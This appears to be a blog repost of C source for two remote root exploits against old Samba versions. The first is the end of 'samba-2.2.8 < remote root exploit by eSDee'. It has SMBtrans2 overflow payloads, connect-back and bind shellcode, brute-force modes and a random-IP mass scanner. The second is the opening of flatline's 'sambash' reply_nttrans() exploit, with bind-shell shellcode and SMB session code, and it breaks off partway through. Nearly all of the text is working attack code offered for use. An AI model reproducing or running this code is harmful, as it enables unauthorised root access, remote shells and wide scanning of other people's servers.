        smbheader->protocol[1]  = 'S';

        smbheader->protocol[2]  = 'M';

        smbheader->protocol[3]  = 'B';

        smbheader->command      = 0x70;         /* start connection */

smbheader->pid          = getpid() & 0xFFFF;

smbheader->tid = 0x00;

        smbheader->uid          = 100;


memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), session_data2, sizeof(session_data2) - 1);


        if(write_timer(sock, 3) == 1)

                if (send(sock, buffer, 64, 0) < 0) return -1;


        memset(response, 0x00, sizeof(response));


        if (read_timer(sock, 3) == 1)

                if (read(sock, response, sizeof(response) - 1) < 0) return -1;


        netbiosheader = (NETBIOS_HEADER *)response;

        smbheader     = (SMB_HEADER *)(response + sizeof(NETBIOS_HEADER));


        if (netbiosheader->type != 0x00) return -1;


        return 0;

}


int

exploit_normal(int sock, unsigned long ret, char *shellcode)

{


char buffer[4000];

        char exploit_data[] =

                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00" 

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\x00\x00\x90";


int i = 0;

unsigned long dummy = ret - 0x90;


        NETBIOS_HEADER  *netbiosheader;

        SMB_HEADER      *smbheader;


memset(buffer, 0x00, sizeof(buffer));


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        netbiosheader->type             = 0x00;         /* session message */

        netbiosheader->flags            = 0x04;

        netbiosheader->length           = htons(2096);


        smbheader->protocol[0]          = 0xFF;

        smbheader->protocol[1]          = 'S';

        smbheader->protocol[2]          = 'M';

        smbheader->protocol[3]          = 'B';

        smbheader->command              = 0x32;         /* SMBtrans2 */

smbheader->tid = 0x01;

        smbheader->uid                  = 100;


memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);


buffer[1096] = 0xEB;

buffer[1097] = 0x70;


for (i = 0; i < 4 * 24; i += 8) {

memcpy(buffer + 1099 + i, &dummy, 4);

memcpy(buffer + 1103 + i, &ret,   4);

}


        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER), 

exploit_data, sizeof(exploit_data) - 1);

memcpy(buffer + 1800, shellcode, strlen(shellcode));


if(write_timer(sock, 3) == 1) {

if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;

return 0;

}


return -1;

}


int

exploit_openbsd32(int sock, unsigned long ret, char *shellcode)

{

        char buffer[4000];


        char exploit_data[] =

                "\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

                "\x00\x00\x00\x90";


        int i = 0;

        unsigned long dummy = ret - 0x30;

        NETBIOS_HEADER  *netbiosheader;

        SMB_HEADER      *smbheader;


        memset(buffer, 0x00, sizeof(buffer));


        netbiosheader   = (NETBIOS_HEADER *)buffer;

        smbheader       = (SMB_HEADER *)(buffer + sizeof(NETBIOS_HEADER));


        netbiosheader->type             = 0x00;         /* session message */

        netbiosheader->flags            = 0x04;

        netbiosheader->length           = htons(2096);


        smbheader->protocol[0]          = 0xFF;

        smbheader->protocol[1]          = 'S';

        smbheader->protocol[2]          = 'M';

        smbheader->protocol[3]          = 'B';

        smbheader->command              = 0x32;         /* SMBtrans2 */

        smbheader->tid                  = 0x01;

        smbheader->uid                  = 100;


        memset(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER) + sizeof(exploit_data), 0x90, 3000);


for (i = 0; i < 4 * 24; i += 4)

memcpy(buffer + 1131 + i, &dummy, 4);

        memcpy(buffer + 1127, &ret,      4);


        memcpy(buffer + sizeof(NETBIOS_HEADER) + sizeof(SMB_HEADER),

                        exploit_data, sizeof(exploit_data) - 1);


        memcpy(buffer + 1100 - strlen(shellcode), shellcode, strlen(shellcode));


        if(write_timer(sock, 3) == 1) {

                if (send(sock, buffer, sizeof(buffer) - 1, 0) < 0) return -1;

                return 0;

        }


        return -1;

}



int

main (int argc,char *argv[])

{

char *shellcode = NULL;

char scan_ip[256];


int brute = -1;

int connectback = 0;

int force = 0;

int i = 0;

int ip1 = 0;

int ip2 = 0;

int ip3 = 0;

int ip4 = 0;

int opt = 0;

int port = 139;

int random = 0;

int scan = 0;

int sock = 0;

int sock2 = 0;

int status = 0;

int type = 0;

int verbose = 0;


unsigned long BRUTE_DELAY = 100000;

unsigned long ret = 0x0;

unsigned long MAX_CHILDS = 40;

unsigned long STEPS = 300;


        struct hostent *he;


fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"

"--------------------------------------------------------------\n");

        

        while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {

                switch(opt) 

{

case 'b':

brute = atoi(optarg);

if ((brute < 0) || (brute > 3)) {

fprintf(stderr, "Invalid platform.\n\n");

return -1;

}

break;

case 'B':

STEPS = atoi(optarg);

if (STEPS == 0) STEPS++;

break;

case 'c':

sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);

connectback = 1;


if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {

fprintf(stderr, "Invalid IP address.\n\n");

return -1;

}


linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;

linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;

linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;

linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;

break;

case 'C':

MAX_CHILDS = atoi(optarg);

if (MAX_CHILDS == 0) {

fprintf(stderr, "Invalid number of childs.\n");

return -1;

}


if (MAX_CHILDS > 99) {

fprintf(stderr, "Too many childs, using 99. \n");

MAX_CHILDS = 99;

}


break;

case 'd':

BRUTE_DELAY = atoi(optarg);

break;

case 'f':

force = 1;

break;

                        case 'p':

                                port = atoi(optarg);

                                if ((port <= 0) || (port > 65535)) {

                                        fprintf(stderr, "Invalid port.\n\n");

                                        return -1;

                                }

                                break;

case 'r':

ret = strtoul(optarg, &optarg, 16);

break;

case 's':

random = 1;

scan = 1;

break;

case 'S':

random = 0;

scan = 1;

sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);

ip3--;

break;

                        case 't':

                                type = atoi(optarg);

                                if (type == 0 || type > sizeof(targets) / 16) {

                                        for(i = 0; i < sizeof(targets) / 16; i++)

                                                fprintf(stdout, "%02d. %s           [0x%08x]\n", i + 1,


                                                                targets[i].type, (unsigned int) targets[i].ret);

                                        fprintf(stderr, "\n");

                                        return -1;

                                }

                                break;

case 'v':

verbose = 1;

break;

                        default:

                                usage(argv[0] == NULL ? "sambal" : argv[0]);

                                break;

                }


        }

if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 && scan == 0)) 

usage(argv[0] == NULL ? "sambal" : argv[0]);


if (scan == 1) 

fprintf(stdout, "+ Scan mode.\n");

if (verbose == 1)

fprintf(stdout, "+ Verbose mode.\n");


if (scan == 1) {


srand(getpid());


while (1) {


if (random == 1) {

ip1 = rand() % 255;

ip2 = rand() % 255;

ip3 = rand() % 255; } 

else {

ip3++;

if (ip3 > 254) { ip3 = 1; ip2++; }

if (ip2 > 254) { ip2 = 1; ip1++; }

if (ip1 > 254) exit(0);

}


for (ip4 = 0; ip4 < 255; ip4++) {

i++;

snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4);

usleep(BRUTE_DELAY);


switch (fork()) {

case 0:

switch(is_samba(scan_ip, 2)) {

case 0:

fprintf(stdout, "+ [%s] Samba\n", scan_ip);

break;

case 1:

fprintf(stdout, "+ [%s] Windows\n", scan_ip);

break;

default:

break;

}


exit(0);

break;

case -1:

fprintf(stderr, "+ fork() error\n");

exit(-1);

break;

default:

if (i > MAX_CHILDS - 2) { 

wait(&status); 

i--;

}

break;

}

}


}


return 0;

}



he = gethostbyname(argv[optind]);


        if (he == NULL) {

fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);

return -1;

}


if (brute == -1) {


if (ret == 0) ret = targets[type - 1].ret;


shellcode = targets[type - 1].shellcode;

if (connectback == 1) {

fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n", 

ip1, ip2, ip3, ip4);


switch(targets[type - 1].os_type) {

case 0: /* linux */

shellcode = linux_connect_back;

break;

case 1: /* FreeBSD/NetBSD */

shellcode = bsd_connect_back;

break;

case 2: /* OpenBSD */

shellcode = bsd_connect_back;

break;

case 3: /* OpenBSD 3.2 Non-exec stack */

shellcode = bsd_connect_back;

break;

}


}


if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

fprintf(stderr, "+ socket() error.\n");

return -1;

}


        if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

               fprintf(stderr, "+ socket() error.\n");

                return -1;

       }


        memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

memcpy(&addr2.sin_addr, he->h_addr, he->h_length);


        addr1.sin_family = AF_INET;

        addr1.sin_port = htons(port);

  addr2.sin_family = AF_INET;

        addr2.sin_port   = htons(45295);


if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) { 

fprintf(stderr, "+ connect() error.\n");

return -1;

}

if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);


if (force == 0) {


if (is_samba(argv[optind], 2) != 0) {

fprintf(stderr, "+ Host is not running samba!\n\n");

return -1;

}


fprintf(stderr, "+ Host is running samba.\n");

}


if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);


if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");


if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");

sleep(5);

if (targets[type - 1].os_type != 2) {

if (exploit_normal(sock, ret, shellcode) < 0) {

fprintf(stderr, "+ Failed.\n");

close(sock);

}

} else {

                        if (exploit_openbsd32(sock, ret, shellcode) < 0) {

                                fprintf(stderr, "+ Failed.\n");

                                close(sock);

}

}


sleep(2);


if (connectback == 0) {

        if(connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {

                fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");


                return -1;

        }


fprintf(stdout, "--------------------------------------------------------------\n");

        shell(sock2);

close(sock);

        close(sock2);

} else {

fprintf(stdout, "+ Done...\n");

close(sock2);

close(sock);

}

return 0;

}

signal(SIGPIPE, SIG_IGN);

signal(SIGUSR1, handler);


switch(brute) {

case 0:

if (ret == 0) ret = 0xc0000000;

shellcode = linux_bindcode;

fprintf(stdout, "+ Bruteforce mode. (Linux)\n");

break;

case 1:

if (ret == 0) ret = 0xbfc00000;

shellcode = bsd_bindcode;

                        fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");

break;

case 2:

if (ret == 0) ret = 0xdfc00000;

shellcode = bsd_bindcode;

fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");

break;

case 3:

if (ret == 0) ret = 0x00170000;

shellcode = bsd_bindcode;

fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");

break;

}


        memcpy(&addr1.sin_addr, he->h_addr, he->h_length);

memcpy(&addr2.sin_addr, he->h_addr, he->h_length);


addr1.sin_family = AF_INET;

        addr1.sin_port   = htons(port);

        addr2.sin_family = AF_INET;

        addr2.sin_port   = htons(45295);


for (i = 0; i < 100; i++)

childs[i] = -1;

i = 0;


        if (force == 0) {

                if (is_samba(argv[optind], 2) != 0) {

                        fprintf(stderr, "+ Host is not running samba!\n\n");

                return -1;

                }


        fprintf(stderr, "+ Host is running samba.\n");

        }


while (OWNED == 0) {


if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);


                if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

if (verbose == 1) fprintf(stderr, "+ socket() error.\n");

}

else {

ret -= STEPS;

i++;

}


                if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)

if (verbose == 1) fprintf(stderr, "+ socket() error.\n");



if ((ret & 0xff) == 0x00 && brute != 3) ret++;


if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);


usleep(BRUTE_DELAY);


switch (childs[i] = fork()) {

                case 0:

if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {

if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

}


       if(write_timer(sock, 3) == 1) {

if (start_session(sock) < 0) {

if (verbose == 1) fprintf(stderr, "+ Session failed.\n");

if (sock  > 2)close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

}

if (brute == 3) {

                        if (exploit_openbsd32(sock, ret, shellcode) < 0) {

                      if (verbose == 1) fprintf(stderr, "+ Failed.\n");

                                    if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

                                }

else {

    if (exploit_normal(sock, ret, shellcode) < 0) {

                  if (verbose == 1) fprintf(stderr, "+ Failed.\n");

              if (sock  > 2) close(sock);

if (sock2 > 2) close(sock2);

exit(-1);

          }


if (sock > 2) close(sock);


        if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {

if (sock2 > 2) close(sock2);

exit(-1);

}


                               if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {

                                                if (sock2  > 2) close(sock2);

kill(getppid(), SIGUSR1);

}


exit(1);

}


exit(0);

break;

case -1:

                        fprintf(stderr, "+ fork() error\n");

                              exit(-1);

                          break;

                        default:

                        if (i > MAX_CHILDS - 2) {

                                wait(&status);

                                i--;

                                }

                                break;

}


}


}

return 0;

}


/* EOF */


Posted by k1rha
2012. 5. 11. 09:52

/**

 **   sambash -- samba <= 2.2.7a reply_nttrans() linux x86 remote root exploit by flatline@blackhat.nl

 **

 **   since we fully control a memcpy(), our options are endless here. i've chosen to go the stack route tho,

 **   because any heap method would've required too much brute forcing or would've required the ugly use of targets.

 **

 **   the stack method still requires little brute forcing and obviously will not survive PaX, but it's efficient.

 **   i'm using executable rets as a 'jmp sled' which jmp to the shellcode to help improve our brute forcing chances a bit.

 **

 **   shouts to (#)0dd, #!l33tsecurity and #!xpc.

 **

 **   many thanks to tcpdump which had to suffer the torture i put it through and often didn't survive (more to come?).

 **

 **   public/private, i don't give a shit.

 **

 **/


#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <netdb.h>

#include <errno.h>

#include <string.h>

#include <stdio.h>

#include <unistd.h>

#include <stdlib.h>

#include <ctype.h>

#include <signal.h>


typedef unsigned char uint8;

typedef unsigned short uint16;

typedef unsigned long uint32;


/* http://ubiqx.org/cifs/SMB.html, CIFS-TR-1p00_FINAL.pdf, smb_cifs_protocol.pdf, 

http://www.ubiqx.org/cifs/rfc-draft/rfc1001.html#s14, http://www.ubiqx.org/cifs/rfc-draft/rfc1002.html#s4.3.2 */


// XXX: lelijkheid: vermijd word padding door hier byte arrays van te maken.

struct variable_data_header

{ uint8 wordcount, bytecount[2];

};


struct nbt_session_header

{ uint8 type, flags, len[2];

};


struct smb_base_header

{ uint8 protocol[4], command, errorclass, reserved, errorcode[2];

  uint8 flags;

  uint8 flags2[2], reserved2[12], tid[2], pid[2], uid[2], mid[2];

};


struct negprot_reply_header

{ uint8 wordcount;

  uint8 dialectindex[2];

  uint8 securitymode;

  uint16 maxmpxcount, maxvccount;

  uint32 maxbufsize, maxrawsize, sessionid, capabilities, timelow, timehigh;

  uint16 timezone;

  uint8 keylen;

  uint16 bytecount;

};


// omdat we ipasswdlen en passwdlen meegeven is wordcount altijd 13 voor deze header.

struct sesssetupx_request_header

{ uint8 wordcount, command, reserved;

  uint8 offset[2], maxbufsize[2], maxmpxcount[2], vcnumber[2];

  uint8 sessionid[4];

  uint8 ipasswdlen[2], passwdlen[2];

  uint8 reserved2[4], capabilities[4];

};


struct sesssetupx_reply_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], action[2], bytecount[2];

  // wat volgt: char nativeos[], nativelanman[], primarydomain[];

};


struct tconx_request_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];

  // uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];

};


struct tconx_reply_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], supportbits[2], bytecount[2];

  // wat volgt: char service[], char nativefilesystem[];

};


// verschilt van trans en trans2 door de 32 bits wijde header fields.

struct nttrans_primary_request_header

{ uint8 wordcount, maxsetupcount, flags[2], totalparamcount[4], totaldatacount[4], maxparamcount[4], maxdatacount[4];

  uint8 paramcount[4], paramoffset[4], datacount[4], dataoffset[4], setupcount, function[2], bytecount[2];

};


struct nttrans_secondary_request_header

{ uint8 pad[4], totalparamcount[4], totaldatacount[4], paramcount[4], paramoffset[4], paramdisplace[4],

    datacount[4], dataoffset[4], datadisplace[4];

};


/* struct trans2_request_header

{ uint8 wordcount;

  int totalparamcount, totaldatacount, maxparamcount, maxdatacount;

  uint8 maxsetupcount[2], flags[2];

  uint8 timeout[4];

  int reserved2, paramcount, paramoffset, datacount, dataoffset, fid;

  uint8 setupcount[2], bytecount[2];

}; */


struct trans2_reply_header

{ uint8 wordcount;

  uint16 totalparamcount, totaldatacount, reserved, paramcount, paramoffset, 

    paramdisplacement, datacount, dataoffset, datadisplacement;

  uint8 setupcount, reserved2;

  uint16 bytecount;

};


#define SMBD_PORT 139

#define SHELLCODE_PORT 5074


#define SMB_NEGPROT 0x72

#define SMB_SESSSETUPX 0x73

#define SMB_TCONX 0x75

#define SMB_TRANS2 0x32

#define SMB_NTTRANS1 0xA0

#define SMB_NTTRANS2 0xA1

#define SMB_NTTRANSCREATE 0x01

#define SMB_TRANS2OPEN 0x00

#define SMB_SESSIONREQ 0x81

#define SMB_SESSION 0x00


#define STACKBOTTOM 0xbfffffff

#define STACKBASE 0xbfffd000

#define TOTALCOUNT ((int)(STACKBOTTOM - STACKBASE))

#define BRUTESTEP 5120


extern char *optarg;

extern int optind, errno, h_errno;


uint16 tid, pid, uid;

uint32 sessionid, PARAMBASE = 0x81c0000;

char *tconx_servername;

int userbreak = 0;


char shellcode[] = "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52" \

  "\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd" \

  "\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43" \

  "\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75\xf6\x52" \

  "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b"

  "\xcd\x80";


// ach, 't kan ermee door.

char *netbios_encode_name(char *name, int type)

{ char plainname[16], c, *encoded, *ptr;

  int i, len = strlen(name);

  if ((encoded = malloc(34)) == NULL)

  { fprintf(stderr, "malloc() failed\n");

    exit(-1);

  }

  ptr = encoded;

  strncpy(plainname, name, 15);

  *ptr++ = 0x20;

  for (i = 0; i < 16; i++)

  { if (i == 15) c = type;

    else 

    { if (i < len) c = toupper(plainname[i]);

      else c = 0x20;

    }

    *ptr++ = (((c >> 4) & 0xf) + 0x41);

    *ptr++ = ((c & 0xf) + 0x41);

  }

  *ptr = '\0';

  return encoded;

}


void construct_nbt_session_header(char *ptr, uint8 type, uint8 flags, uint32 len)

{ struct nbt_session_header *nbt_hdr = (struct nbt_session_header *)ptr;

  uint16 nlen;


// geen idee of dit de juiste manier is, maar 't lijkt wel te werken ..

  if (len > 65535) nlen = 65535;

  else nlen = htons(len);


  memset((void *)nbt_hdr, '\0', sizeof (struct nbt_session_header));

  

  nbt_hdr->type = type;

  nbt_hdr->flags = flags;

  memcpy(&nbt_hdr->len, &nlen, sizeof (uint16));

}


// caller zorgt voor juiste waarde van ptr.

void construct_smb_base_header(char *ptr, uint8 command, uint8 flags, uint16 flags2, uint16 tid, uint16 pid, 

  uint16 uid, uint16 mid)

{ struct smb_base_header *base_hdr = (struct smb_base_header *)ptr;


  memset(base_hdr, '\0', sizeof (struct smb_base_header));


  memcpy(base_hdr->protocol, "\xffSMB", 4);


  base_hdr->command = command;

  base_hdr->flags = flags;


  memcpy(&base_hdr->flags2, &flags2, sizeof (uint16));

  memcpy(&base_hdr->tid, &tid, sizeof (uint16));

  memcpy(&base_hdr->pid, &pid, sizeof (uint16));

  memcpy(&base_hdr->uid, &uid, sizeof (uint16));

  memcpy(base_hdr->mid, &mid, sizeof (uint16));

}


void construct_sesssetupx_header(char *ptr)

{ struct sesssetupx_request_header *sx_hdr = (struct sesssetupx_request_header *)ptr;

  uint16 maxbufsize = 0xffff, maxmpxcount = 2, vcnumber = 31257, pwdlen = 0;

  uint32 capabilities = 0x50;


  memset(sx_hdr, '\0', sizeof (struct sesssetupx_request_header));


  sx_hdr->wordcount = 13;

  sx_hdr->command = 0xff;

  memcpy(&sx_hdr->maxbufsize, &maxbufsize, sizeof (uint16));

  memcpy(&sx_hdr->vcnumber, &vcnumber, sizeof (uint16));

  memcpy(&sx_hdr->maxmpxcount, &maxmpxcount, sizeof (uint16));

  memcpy(&sx_hdr->sessionid, &sessionid, sizeof (uint32));

  memcpy(&sx_hdr->ipasswdlen, &pwdlen, sizeof (uint16));

  memcpy(&sx_hdr->passwdlen, &pwdlen, sizeof (uint16));

  memcpy(&sx_hdr->capabilities, &capabilities, sizeof (uint32));

}


/*

struct tconx_request_header

{ uint8 wordcount, xcommand, xreserved, xoffset[2], flags[2], passwdlen[2], bytecount[2];

  -- uint16 bytecount geeft lengte van volgende fields aan: char password[], path[], service[];

}; */

void construct_tconx_header(char *ptr)

{ struct tconx_request_header *tx_hdr = (struct tconx_request_header *)ptr;

  uint16 passwdlen = 1, bytecount;

  char *data;


  memset(tx_hdr, '\0', sizeof (struct tconx_request_header));


  bytecount = strlen(tconx_servername) + 15;  


  if ((data = malloc(bytecount)) == NULL)

  { fprintf(stderr, "malloc() failed, aborting!\n");

    exit(-1);

  }

  memcpy(data, "\x00\x5c\x5c", 3);

  memcpy(data + 3, tconx_servername, strlen(tconx_servername));

  memcpy(data + 3 + strlen(tconx_servername), "\x5cIPC\x24\x00\x3f\x3f\x3f\x3f\x3f\x00", 12);


  tx_hdr->wordcount = 4;

  tx_hdr->xcommand = 0xff;


  memcpy(&tx_hdr->passwdlen, &passwdlen, sizeof (uint16));

  memcpy(&tx_hdr->bytecount, &bytecount, sizeof (uint16));


// zorg ervoor dat er genoeg ruimte in het packet is om dit erachter te kunnen plakken.

  memcpy(ptr + sizeof (struct tconx_request_header), data, bytecount);

}


// session request versturen.

void nbt_session_request(int fd, char *clientname, char *servername)

{ char *cn, *sn;

  char packet[sizeof (struct nbt_session_header) + (34 * 2)];


  construct_nbt_session_header(packet, SMB_SESSIONREQ, 0, sizeof (packet) - sizeof (struct nbt_session_header));


  tconx_servername = servername;


  sn = netbios_encode_name(servername, 0x20);

  cn = netbios_encode_name(clientname, 0x00);


  memcpy(packet + sizeof (struct nbt_session_header), sn, 34);

  memcpy(packet + (sizeof (struct nbt_session_header) + 34), cn, 34);


  if (write(fd, packet, sizeof (packet)) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  free(cn);

  free(sn);

}


// netjes verwerken, zoals het hoort.

void process_nbt_session_reply(int fd)

{ struct nbt_session_header nbt_hdr;

  char *errormsg;

  uint8 errorcode;

  int size, len = 0;


  if ((size = read(fd, &nbt_hdr, sizeof (nbt_hdr))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

  if (size != sizeof (nbt_hdr))

  { close(fd);

    fprintf(stderr, "read() a broken packet, aborting.\n"); 

    exit(-1);

  }

  memcpy(&len, &nbt_hdr.len, sizeof (uint16));


  if (len)

  { read(fd, (void *)&errorcode, 1); 

    close(fd);

    switch (errorcode)

    { case 0x80 : errormsg = "Not listening on called name"; break;

      case 0x81 : errormsg = "Not listening for calling name"; break;

      case 0x82 : errormsg = "Called name not present"; break;

      case 0x83 : errormsg = "Called name present, but insufficient resources"; break;

      case 0x8f : errormsg = "Unspecified error"; break;

      default : errormsg = "Unspecified error (unknown error code received!)"; break;

    }

    fprintf(stderr, "session request denied, reason: '%s' (code %i)\n", errormsg, errorcode);

    exit(-1);

  }

  printf("session request granted\n");

}


void negprot_request(int fd)

{ struct variable_data_header data;

  char dialects[] = "\x2PC NETWORK PROGRAM 1.0\x0\x2MICROSOFT NETWORKS 1.03\x0\x2MICROSOFT NETWORKS 3.0\x0\x2LANMAN1.0\x0" \

    "\x2LM1.2X002\x0\x2Samba\x0\x2NT LANMAN 1.0\x0\x2NT LM 0.12\x0\x2""FLATLINE'S KWAADWAAR";  

  char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data) + sizeof (dialects)];

  int dlen = htons(sizeof (dialects));


  memset(&data, '\0', sizeof (data));

  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  pid = getpid();

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_NEGPROT, 8, 1, 0, pid, 0, 1);


  memcpy(&data.bytecount, &dlen, sizeof (uint16));


  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header)), &data, sizeof (data));

  memcpy(packet + (sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + sizeof (data)), 

    dialects, sizeof (dialects));


  if (write(fd, packet, sizeof (packet)) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

}


void process_negprot_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

  struct smb_base_header *base_hdr;

  struct negprot_reply_header *np_reply_hdr;

  char packet[1024];

  int size;

  uint16 pid_reply;


  nbt_hdr = (struct nbt_session_header *)packet;

  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

  np_reply_hdr = (struct negprot_reply_header *)(packet + (sizeof (struct nbt_session_header) + 

    sizeof (struct smb_base_header)));


  if ((size = read(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  // bekijk het antwoord even vluchtig.

  memcpy(&pid_reply, &base_hdr->pid, sizeof (uint16));

  memcpy(&sessionid, &np_reply_hdr->sessionid, sizeof (uint32));

  if (base_hdr->command != SMB_NEGPROT || np_reply_hdr->wordcount != 17 || pid_reply != pid)

  { close(fd);

    fprintf(stderr, "protocol negotiation failed\n");

    exit(-1);

  }


  printf("protocol negotiation complete\n");

}


void sesssetupx_request(int fd)

{ uint8 data[] = "\x12\x0\x0\x0\x55\x6e\x69\x78\x00\x53\x61\x6d\x62\x61";

  char packet[sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

    sizeof (struct sesssetupx_request_header) + sizeof (data)];

  int size;


  construct_nbt_session_header(packet, SMB_SESSION, 0, sizeof (packet) - sizeof (struct nbt_session_header));

  construct_smb_base_header(packet + sizeof (struct nbt_session_header), SMB_SESSSETUPX, 8, 1, 0, pid, 0, 1);

  construct_sesssetupx_header(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));

  memcpy(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) + 

    sizeof (struct sesssetupx_request_header), &data, sizeof (data));


  if ((size = write(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "write() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }

  if (size != sizeof (packet))

  { close(fd);

    fprintf(stderr, "couldn't write entire packet, aborting!\n");

    exit(-1);

  }

}


void process_sesssetupx_reply(int fd)

{ struct nbt_session_header *nbt_hdr;

  struct smb_base_header *base_hdr;

  struct sesssetupx_reply_header *sx_hdr;

  char packet[1024];

  int size, len;


// lees het packet

  if ((size = read(fd, packet, sizeof (packet))) == -1)

  { close(fd);

    fprintf(stderr, "read() failed, reason: '%s' (code %i)\n", strerror(errno), errno); 

    exit(-errno);

  }


  nbt_hdr = (struct nbt_session_header *)packet;

  base_hdr = (struct smb_base_header *)(packet + sizeof (struct nbt_session_header));

  sx_hdr = (struct sesssetupx_reply_header *)(packet + sizeof (struct nbt_session_header) + sizeof (struct smb_base_header));


  memcpy(&len, &nbt_hdr->len, sizeof (uint16));

  memcpy(&uid, &base_hdr->uid, sizeof (uint16));


// even een vluchtige check

  if (sx_hdr->xcommand != 0xff && sx_hdr->wordcount != 3)

  { close(fd);

    fprintf(stderr, "session setup failed\n");

    exit(-1);

  }


  printf("session setup complete, got assigned uid %i\n", uid);

}


void tconx_request(int fd)

{ // geen fixed size buffer omdat we met dynamische data te maken hebben (variabele servernaam)

  char *packet;

  int size, pktsize = sizeof (struct nbt_session_header) + sizeof (struct smb_base_header) +

    sizeof (struct tconx_request_header) + strlen(tconx_servername) + 15;


  if ((packet = malloc(pktsize)) == NULL)

  { close(fd);

